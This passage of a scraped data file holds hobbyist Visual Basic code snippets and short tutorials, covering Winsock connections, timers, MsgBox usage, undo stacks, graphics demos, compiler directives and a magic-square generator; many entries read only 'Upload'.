its possible…. hehe…. I have multi channels \n and multi users and I've only got 22 types! Anyway I hope this tutorial has \n helped you a little. or if ya want to tell me how to do sothing proberly then \n please tell me becuase I've only recently started on VB \n \n Please leave a comment if you need any help or u would like to thank me or if \n you want to tell me that I'm wrong or if there is an error in the code. Thanks \n \n oh btw, I'll be uploading the Simple Chat 2.8 as soon as I comment the code. \n It uses what I have shown you above and a little more. ;) so watch out for it. \n I'm also doing something I havent seen on here. so keep ya eye out. \n \n Thanks for reading \n \n CrAKiN-ShOt \n <a href=\"mailto:crakinshot@hotmail.com\">crakinshot@hotmail.com </a>\n"},{"WorldId":1,"id":22324,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22326,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22328,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22336,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22340,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22341,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22343,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22347,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22350,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22357,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22360,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22361,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22367,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22370,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22373,"LineNumber":1,"line":" If you would like to create a server or other such program, you can initiate many connections over the same port by using this type of function. By creating an index of your Winsock you can create multiple connections over the same port... Create a winsock control and set index to 0. Example of code use: \niSock = FindUserSocket(sckMyWinsock) \nsckMyWinsock(iSock).Accept RequestID\n Function FindUserSocket(sckWinsock As Winsock) As Long \n Dim iSock As Integer \n For iSock = 1 To sckUser.Count - 1 \n If sckWinsock(iSock).State = sckClosed Then \n GoTo SockFound \n End If \n Next iSock \n GoTo MakeSock \n Exit Function \nSockFound: \n FindFreeSocket = CLng(iSock) \n Exit Function \nMakeSock: \n iSock = sckWinsock.Count \n Load sckWinsock(iSock) \n FindFreeSocket = CLng(iSock) \n Exit Function \nEnd Function "},{"WorldId":1,"id":22376,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22378,"LineNumber":1,"line":"If you think that the most accurate interval you can get is 1 ms, think again.\n This article shows you how you can wait a very short time.\n\nHow short, well, on my PC (500mHz,128MB) i got an average of 0.0078 ms!\n The trick is to make use of a high frequency performance counter wich nowaday\nalmost all computers have.\n\nTo do this, you must make use of the QueryPerformanceCount API (QPC). This give you a number.\n This number is the current count of the timer. When you use the QueryPerformanceFrequency (QPF) API, you will get the number of times that the timer counts per second.\n Using that value, you can determin how much time has expired.\n\nExample: if your frequency = 1.000.000 and the difference between 2 calls of the QPC is 1.000, you know that the time elapsed is 1.000 / 1.000.000 = 0.001 seconds.\n\nThe example included (see zip) also show that the GetTickCount API isn't as fast as you may think. I got a accuricy of +/- 10 ms\n\nAfter this, you will never want to use gettickcount again"},{"WorldId":1,"id":22381,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22382,"LineNumber":1,"line":"' This works best if you make an array and use the select case statement, but I left it up to the user to do what they want with it.\nDim x as integer ' x = answer value\n' For the OKOnly\nx = MsgBox(\"This is Default, Okay Only\", vbOKOnly)\n' For Ok, cancel\nx = MsgBox(\"Give choice of OK or Cancel\", vbOKCancel)\n' This is Abort, Retry, Ignore\nx = MsgBox(\"Blow up your computer?\", vbAboutRetryIgnore)\n' Most Common - :)\nx = MsgBox(\"Would you like to save your dirty pictures before you exit?\", vbYesNoCancel)\n' Yes or No\nx = MsgBox(\"Was that you or the dog?\", vbYesNo)\n' Retry or Cancel\nx = MsgBox(\"This is what you might want to do with your diet...\", vbRetryCancel)\n' Critical Message\nx = MsgBox(\"Your Reports due today and you haven't started on it yet!\", vbCritical)\n' Question\nx = MsgBox(\"<- Question\", vbQuestion)\n' now, do decypher the answers\nSelect Case x\n Case 1:MsgBox \"The Okay button\"\n Case 2:MsgBox \"The Cancel button\"\n Case 3:MsgBox \"The Abort button\"\n Case 4:MsgBox \"The Retry button\"\n Case 5:MsgBox \"The Ignore button\"\n Case 6:MsgBox \"The Yes button\"\n Case 7:MsgBox \"The No button\"\nEnd Select\n' Well, hope that helps all you programmers out there"},{"WorldId":1,"id":22385,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22387,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22393,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22395,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22399,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22409,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22413,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22414,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22418,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22420,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22427,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22442,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22450,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22456,"LineNumber":1,"line":"''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n''' A BETTER MULTIPLE UNDO\n''' Copyright (C) 2001 Taras Young\n''' http://www.snowblind.net/\n''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n'''\n''' Paste this code into a form, and add a Textbox (Text1) and\n''' two command buttons (cmdUndo and cmdRedo).\n'''\n''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n'''\n''' If you want to use a RichTextBox, uncomment the lines\n''' marked \"for richtextboxes\" and comment out the lines\n''' marked \"for normal textboxes\" (obviously).\n'''\n''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\nDim UndoStack() As String, UndoStage, Undoing\nPrivate Sub cmdRedo_Click()\nUndoing = True\n UndoStage = UndoStage + 1\n Text1.Text = UndoStack(UndoStage) 'for normal textboxes\n' Text1.rtfText = UndoStack(UndoStage) 'for richtextboxes\nUndoing = False\n\nEnd Sub\nPrivate Sub cmdUndo_Click()\nUndoing = True 'prevent doubling-up\n UndoStage = UndoStage - 1 'go back a stage\n If UndoStage <= 0 Then UndoStage = 0 'protection from errors\n \n'For normal textboxes, use:\n Text1.Text = UndoStack(UndoStage) 'replace current text with\n 'new text\n''For richtextboxes, use:\n' Text1.rtfText = UndoStack(UndoStage) 'replace current text with\n' 'new text\n\nUndoing = False\nEnd Sub\nPrivate Sub Form_Load()\nReDim UndoStack(0) 'must be redimmed for UBound to work\nEnd Sub\nPrivate Sub Text1_Change()\n' Records the last changes made\nReDim Preserve UndoStack(UBound(UndoStack) + 1) 'increase the stack size\n'For normal textboxes:\nUndoStack(UBound(UndoStack)) = Text1.Text 'add the current state\n''For richtextboxes:\n'UndoStack(UBound(UndoStack)) = rtfText1.Text 'add the current state\nIf Not Undoing Then UndoStage = UndoStage + 1 'change the current stage\nEnd Sub\n"},{"WorldId":1,"id":22459,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22460,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22462,"LineNumber":1,"line":"'(C)2001 K. O. Thaha Hussain. India\n' Analyst Programmer\n' All Rights Reserved\n' URL : www.bcity.com/thahahussain\n' Company : www.induswareonline.com\nOption Explicit\nPrivate Sub Form_Load()\nMe.AutoRedraw = True\nMe.ScaleMode = vbTwips\nMe.Caption = \"Rainbow Generator by \" & _\n \"K. O. Thaha Hussain\"\nMsgBox \"Resize the window to resize the Rainbow\", , _\n \"Thaha Hussain's Rainbow Generator\"\nEnd Sub\nPrivate Sub Form_Resize()\nCall Rainbow\nEnd Sub\nPrivate Sub Rainbow()\nOn Error Resume Next\nDim Position As Integer, Red As Integer, Green As _\n Integer, Blue As Integer\nDim ScaleFactor As Double, Length As Integer\nScaleFactor = Me.ScaleWidth / (255 * 6)\nLength = Int(ScaleFactor * 255)\nPosition = 0\nRed = 255\nBlue = 1\n'Purposfully avoided nested loops\n '------------- 1\n For Green = 1 To Length\n Me.Line (Position, 0)-(Position, Me.ScaleHeight), _\n RGB(Red, Green \\ ScaleFactor, Blue)\n Position = Position + 1\n Next Green\n'--------------- 2\nFor Red = Length To 1 Step -1\n Me.Line (Position, 0)-(Position, Me.ScaleHeight), _\n RGB(Red \\ ScaleFactor, Green, Blue)\n Position = Position + 1\n Next Red\n'---------------- 3\nFor Blue = 0 To Length\n Me.Line (Position, 0)-(Position, Me.ScaleHeight), _\n RGB(Red, Green, Blue \\ ScaleFactor)\n Position = Position + 1\n Next Blue\n \n '----------------- 4\nFor Green = Length To 1 Step -1\n Me.Line (Position, 0)-(Position, Me.ScaleHeight), _\n RGB(Red, Green \\ ScaleFactor, Blue)\n Position = Position + 1\n Next Green\n \n '------------------ 5\n For Red = 1 To Length\n Me.Line (Position, 0)-(Position, Me.ScaleHeight), _\n RGB(Red \\ ScaleFactor, Green, Blue)\n Position = Position + 1\n Next Red\n'------------------- 6\nFor Blue = Length To 1 Step -1\n Me.Line (Position, 0)-(Position, Me.ScaleHeight), _\n RGB(Red, Green, Blue \\ ScaleFactor)\n Position = Position + 1\n Next Blue\nEnd Sub\n"},{"WorldId":1,"id":22463,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22465,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22466,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22470,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22473,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22479,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22480,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22485,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22488,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22489,"LineNumber":1,"line":"As always I will place some links, but this time I also upload it to psc (if it works), and I will try to update my old projects by uploading, but check the URL's because that is were I post updates first. \nWell let's talk about this article. It's the ending of an era. It's a fully working chat server and client, not advanced, but I have made it easy for you to advance it, and given you some ideas. \nI think that is a good way to learn, if you learn by making something you'r self, and you don't even have to think this time, I have already done some of it for you, well not it all, but download the article and find out. \n<A HREF=\"http://hjem.get2net.dk/birk-jensen/pscode/chatprj/1.htm\">Article</A> - The article(but you need the whole project, so don't use this one, use the compressed. \n<A HREF=\"http://hjem.get2net.dk/birk-jensen/pscode/chatprj.zip\">Compressed</A> - Get this one. \nPlease give some feedback. Although it's a little strange article if you compare to my other articles."},{"WorldId":1,"id":22495,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22496,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22497,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22500,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22506,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22508,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22513,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22514,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22517,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22518,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22519,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22521,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22524,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22525,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22527,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22530,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22532,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22534,"LineNumber":1,"line":"Function sqroot(number As Integer) As Single\nres = number / 2\nDo\nsummed = (number - res * res) / (2 * res)\nres = res + summed\nLoop Until summed > -0.0001 And summed < 0.0001\nText2.Text = res\nEnd Function\nPrivate Sub Command1_Click()\nsqroot (Int(Text1.Text))\nEnd Sub"},{"WorldId":1,"id":22538,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22539,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22543,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22547,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22548,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22549,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22550,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22553,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22554,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22556,"LineNumber":1,"line":"'CubicBezier Demo by K.O. Thaha Hussain\n' Anlyst Programmer\n'(C) 2001. All rights reserved\n' URL : http://www.bcity.com/thahahussain\n' E-mail : thaha_ko@yahoo.com\n' Company : http://www.induswareonline.com\n'A cubic Bezier curve is defined by four points.\n'(x0,y0) & (x3,y3) are endpoints and\n'(x1,y1) & (x2,y2) are control points.\n'The following equations define the points \n'on the curve.\n'Both are evaluated for an arbitrary number of values\n' of t between 0 and 1.\n'\n' X(t) = ax * t ^ 3 + bx * t ^ 2 + cx * t + x0\n'\n' X1 = x0 + cx / 3\n' X2 = X1 + (cx + bx) / 3\n' x3 = x0 + cx + bx + ax\n'\n' Y(t) = ay * t ^ 3 + by * t ^ 2 + cy * t + y0\n'\n' Y1 = y0 + cy / 3\n' Y2 = Y1 + (cy + by) / 3\n' y3 = y0 + cy + by + ay\nOption Explicit\nDim HitCounter As Integer\nDim XPoint(3) As Integer, YPoint(3) As Integer\nDim Drag As Boolean\nPrivate Sub DrawBezier()\nDim ax, bx, cx, ay, by, cy, xt, yt, t, I As Integer\nOn Error Resume Next\nMe.Cls\nMe.DrawWidth = 1\n'Draws control lines\nMe.ForeColor = vbBlue\nMe.Line (XPoint(1), YPoint(1))-(XPoint(0), YPoint(0))\nMe.Line (XPoint(2), YPoint(2))-(XPoint(3), YPoint(3))\nMe.ForeColor = vbRed\n'The following is the core of the program.\n' All others are just for dragging.\n cx = 3 * (XPoint(1) - XPoint(0))\n bx = 3 * (XPoint(2) - XPoint(1)) - cx\n ax = XPoint(3) - XPoint(0) - cx - bx\n \n cy = 3 * (YPoint(1) - YPoint(0))\n by = 3 * (YPoint(2) - YPoint(1)) - cy\n ay = YPoint(3) - YPoint(0) - cy - by\nFor t = 0 To 1 Step 0.001\n xt = ax * t ^ 3 + bx * t ^ 2 + cx * t + XPoint(0)\n yt = ay * t ^ 3 + by * t ^ 2 + cy * t + YPoint(0)\n Form1.PSet (xt, yt) 'Draw Lines for a finer curve\nNext t\nMe.ForeColor = vbYellow\nMe.DrawWidth = 4\nFor I = 0 To 3\nMe.PSet (XPoint(I), YPoint(I))\nPrint \" (x\" & I & \", y\" & I & \")\"\nNext I\nEnd Sub\nPrivate Sub Form_Load()\nMe.ScaleMode = vbTwips\nMsgBox \"Put four points and drag them to adjust the\" & _\n \"curve..\", , \"Cubic Bezier Demo\"\nMe.Caption = \"Cubic Bezier by K. O. Thaha Hussain\"\nEnd Sub\nPrivate Sub Form_MouseMove(Button As Integer, _\n Shift As Integer, X As Single, Y As Single)\n If CheckHit(X, Y) And Button = vbLeftButton Then\n XPoint(HitCounter) = X\n YPoint(HitCounter) = Y\n Call DrawBezier\n Drag = True\n Else\n Drag = False\n End If\nEnd Sub\nPrivate Sub Form_MouseUp(Button As Integer, _\n Shift As Integer, X As Single, Y As Single)\nStatic count As Integer\nIf count > 3 Then\n Call DrawBezier\n Exit Sub\nEnd If\nXPoint(count) = X\nYPoint(count) = Y\nIf count = 3 Then Call DrawBezier\ncount = count + 1\nDrag = False\nEnd Sub\nFunction CheckHit(C As Single, V As Single) As Boolean\nDim I As Integer\nIf Drag Then\n CheckHit = True\n Exit Function\nEnd If\n For I = 0 To 3\n 'if the mouse pointer approaches the points..\n If ((Abs(C - XPoint(I)) < 50 And Abs(V - YPoint(I)) < 50)) Then\n Me.MousePointer = vbCrosshair\n CheckHit = True\n HitCounter = I\n Exit Function\n Else\n Me.MousePointer = vbDefault\n CheckHit = False\n End If\n Next I\nEnd Function\n"},{"WorldId":1,"id":22560,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22564,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22571,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22573,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22576,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22578,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22579,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22581,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22583,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22584,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22597,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=Content-Type content=\"text/html; charset=windows-1252\">\n<title>Using VB Compiler Directives</title>\n\n<style>\n\n</style>\n</head>\n<body lang=EN-US style='tab-interval:.5in'>\n<div class=Section1>\nUsing VB Compiler Directives<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nI don’t know how many times I have seen the following code\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIf DebugMode = true then<o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Msgbox\n“The Variable value is “ & SomeVar, vbokonly, “Debug”<o:p></o:p>\nEnd if<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nOr even the following\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á ‘Uncomment\nthe following to debug this var<o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á ‘Msgbox\n“The Variable value is “ & SomeVar, vbokonly, “Debug”<span\nstyle='color:lime'><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nMany Visual Basic Programmers are not using one of the\npowerful features of VB that equate it with other programming languages.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nCompiler Directives.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n“What are Compiler Directives?”<o:p></o:p>\nWell, Compiler Directives are small\ninstructions that determine whether or not a piece of code will be included in\nthe Compile and Link process of creating an executable.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n“What are the Compiler Directives to\nuse in VB?”<o:p></o:p>\nIn Visual basic you get the\nfollowing\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á #<span\nstyle='color:navy'>Const\nThis is private in the module it is defined.<span\nstyle=\"mso-spacerun: yes\">┬á The Const items are NOT global to the\nproject only in their specific scope such as a form or class module\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á #<span\nstyle='color:navy'>If\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á This\nis used to evaluate an expression of type #Const\n= n-expression \n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á #<span\nstyle='color:navy'>Elseif\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á This\nis used to evaluate an expression of type #Const\n= n-expression within and #IF block\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á #<span\nstyle='color:navy'>Else\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Code\nwithin this sub-block is compiled if the #IF\nand #ELSEIF blocks all evaluated to false\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á #<span\nstyle='color:navy'>End If\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á This\nends the #IF Compiler Directive Block\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n“Why would I want to use Compiler\nDirectives?┬á I have If Then Statements”<o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á If you\nbelieve in adding additional code and using additional memory as well as CPU\ncycles then Compiler Directives are not for you.┬á Not to mention having Debug code or unwanted code in your final\nexe simply because you forgot to comment one small line of code.<span\nstyle=\"mso-spacerun: yes\">┬á \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h1>VB Specified Constants</h1>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Visual\nBasic defines some Compiler Constants automatically for you.<span\nstyle=\"mso-spacerun: yes\">┬á These are:\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Win16<span\nstyle='mso-tab-count:1'>┬á “This indicates that the development\nenvironment is 16-bit”\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Win32<span\nstyle='mso-tab-count:1'>┬á “This indicates that the development\nenvironment is 32-bit”\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h1>How to use Compiler Directives</h1>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Let’s take\na look at the first set of code we examined.┬á\nWe notice it is a simple if then determining if the program needs to\nshow a Message Box with the value of a variable.┬á How can we use a Compiler Directive to make this code more\nefficient?\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n- THIS -<o:p></o:p>\nIf DebugMode = true then<o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Msgbox\n“The Variable value is “ & SomeVar, vbokonly, “Debug”<o:p></o:p>\nEnd if<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n- CAN BE CHANGED TO -<o:p></o:p>\n#Const DebugMode =\ntrue<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n#If DebugMode = true\nthen<o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Msgbox\n“The Variable value is “ & SomeVar, vbokonly, “Debug”<o:p></o:p>\n#End If<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nNotice there was no real change in the code except we used\nthe #IF directive and ended the statement block with the #END IF statement to\ncheck the value of a special Compiler Variable (which was defined with the\n#CONST block)\nThese work the sameway as the If…Else…Elseif…End If\nstatement we are all used to except for one thing.┬á If the condition being tested doesn’t prove true then the code\ninside the block WILL NOT be included in the outputted code.<span\nstyle=\"mso-spacerun: yes\">┬á \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h1>Other uses beside Debug</h1>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á The most\ncommon use for Compiler Directives in other languages such as C and C++ are to\ndefine sets of code for different operating systems and versions.<span\nstyle=\"mso-spacerun: yes\">┬á We can do the same thing with visual basic.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n‘Programmer needs to determine what kind of code he is trying to\ncreate by defining the<o:p></o:p>\n‘target OS Version here\n#<span\nstyle='color:#333399'>Const OSVersion = “Win9X”<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n#<span\nstyle='color:#333399'>If OSVersion = "Win9X" <span\nstyle='color:#333399'>Then<o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á ‘Programmer\nneeds to put specific Windows 95, 98 code here<o:p></o:p>\n#<span\nstyle='color:#333399'>ElseIf OSVersion = "WinNT" <span\nstyle='color:#333399'>Then<o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á ‘Programmer\nneeds to put specific Windows NT code here<o:p></o:p>\n#<span\nstyle='color:#333399'>ElseIf OSVersion = "Win2K" <span\nstyle='color:#333399'>Then<o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á ‘Programmer\nneeds to put specific Windows 2000 code here<o:p></o:p>\n#<span\nstyle='color:#333399'>Else<o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á ‘Programmer\nhas not defined the OS Version<o:p></o:p>\n#<span\nstyle='color:#333399'>End If<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h1>Final Notes</h1>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á An\nimportant thing to remember is that #Const and\nConst variables cannot be interswitched.┬á\nIf you try to use a #Const variable in place of a const or a const in\nplace of a #Const variable VB will give you\nSyntax errors.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Also very\nimportant is to Remember the scope of the #Const\nvariable.┬á It is only within it’s module\nlike a Form, Module or Class Module.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h2>Shawn Elliott</h2>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n</div>\n</body>\n</html>\n"},{"WorldId":1,"id":22599,"LineNumber":1,"line":"Private Sub cmdSendMessage_Click()\n \nIf txtlogin.Text <> \"\" And txtpass.Text <> \"\" Then\n login = \"http://www.breathe.com/cgi-bin/login.cgi?&extension-attribute-11=\" & txtlogin.Text & \"&extension-attribute-12=\" & txtpass.Text & \"&SUBMIT\"\n \n WebBrowser1.Navigate login\n Timer1.Enabled = True\n \n \n Else\n \n \n End If\nEnd Sub\nPrivate Sub cmdReset_Click()\ntxtlogin.Text = \"\"\ntxtpass.Text = \"\"\ntxtnumber.Text = \"\"\ntxtmsg.Text = \"\"\nEnd Sub\nPrivate Sub Timer1_Timer()\n If WebBrowser1.LocationURL = \"http://www.breathe.com/?loggedin\" Then\n message = \"http://www.breathe.com/services/textmessaging.html?number=\" & txtnumber.Text & \"&message=\" & txtmsg.Text & \"&charleft=113%2F146&submit.x=19&submit.y=7\"\n WebBrowser1.Navigate2 message\n \n Timer1.Enabled = False\n End If\nEnd Sub\n"},{"WorldId":1,"id":22600,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22602,"LineNumber":1,"line":"'***********************\n'By littlegreenrussian *\n'***********************\nPrivate Sub Command1_Click() 'user clicks send\n\tOn Error GoTo mailerr: 'go to the error handling bit if there is an error\n\t\tMAPISession1.SignOn 'sign on\nIf MAPISession1.SessionID <> 0 Then 'signed on\nWith MAPIMessages1\n\t.SessionID = MAPISession1.SessionID\n\t.Compose 'start a new message\n.AttachmentName = \"...\" 'attachment name\n\t.AttachmentPathName = Text1 ' attachment path (get this from the text box or a default dirrectory)\n\t.RecipAddress = Text2 'set the receiver's email to the one they specified (again, text box or a default address)\n.MsgSubject = \"...\" 'set the subject\n.MsgNoteText = \"............\" 'message text\n\t.Send False 'don't display a dialog saying it was sent\n\t\t\n\t\tEnd With\n\t\t\tExit Sub\n\t\t\t\tEnd If\n\tmailerr: 'error handling\n\t\tMsgBox \"Error \" & Err.Description\n\tEnd Sub\n"},{"WorldId":1,"id":22603,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22605,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22611,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22618,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22619,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22621,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22625,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22626,"LineNumber":1,"line":"'(C) K. O. Thaha Hussain. All rights reserved\n'Analyst Programmer\n'Company: http://www.induswareonline.com\n'URL: http://www.bcity.com/thahahussain\n'Note: Adjust the DataTypes to make room for\n'large numbers..\n'\n'The Behind Scene Mathematics is simple!\n'Step1. Begin 1 at the middle of the first row\n'Step2. Next number should be one row up\n' one column right\n'Step3. If the present row < the first then\n' make it last\n'Step4. If the present column > the last then\n' make it first\n'Step5. The rule for the number which follows\n' the multiple of the\n' order of magic square, is one row down\n'Finished!!\nOption Explicit\nDim N As Integer\nPrivate Sub Form_Load()\nDo While N Mod 2 = 0\n N = Val(InputBox(\"Enter an Odd Number (Ex: 3, 5, 7 etc.)\", _\n \"Order of Magic Square\", 5))\nLoop\n Grid.BackColor = \n Grid.FixedCols = 0\n Grid.FixedRows = 0\n Grid.Left = 0\n Grid.Top = 0\n Grid.Rows = N\n Grid.Cols = N\n Me.Caption = \"Odd Magic Sqaure By K.O. Thaha Hussain \" _\n & \" Order : \" & Str(N)\n Call MagicSquare\n \nEnd Sub\nPrivate Sub Form_Resize()\n Grid.Width = Me.ScaleWidth\n Grid.Height = Me.ScaleHeight\nEnd Sub\nPrivate Sub MagicSquare()\nDim Row As Integer, Column As Integer, I As Integer, Number As Integer\n Dim Magic(100, 100) As Integer\n Number = 1\n Row = 0\n Column = (N + 1) / 2 - 1\n Magic(Row, Column) = Number\n \n For I = 2 To N * N\n If Number Mod N <> 0 Then\n Row = Row - 1\n Column = 